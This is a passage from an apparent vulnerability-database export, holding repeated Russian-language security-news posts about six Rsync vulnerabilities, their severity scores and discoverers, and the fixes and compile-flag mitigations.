\u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "4eb0f188-f9dd-4ff7-a34d-c42e683f21d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "ab47438d-6e8e-44d9-8e13-4c4ef14e6ecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 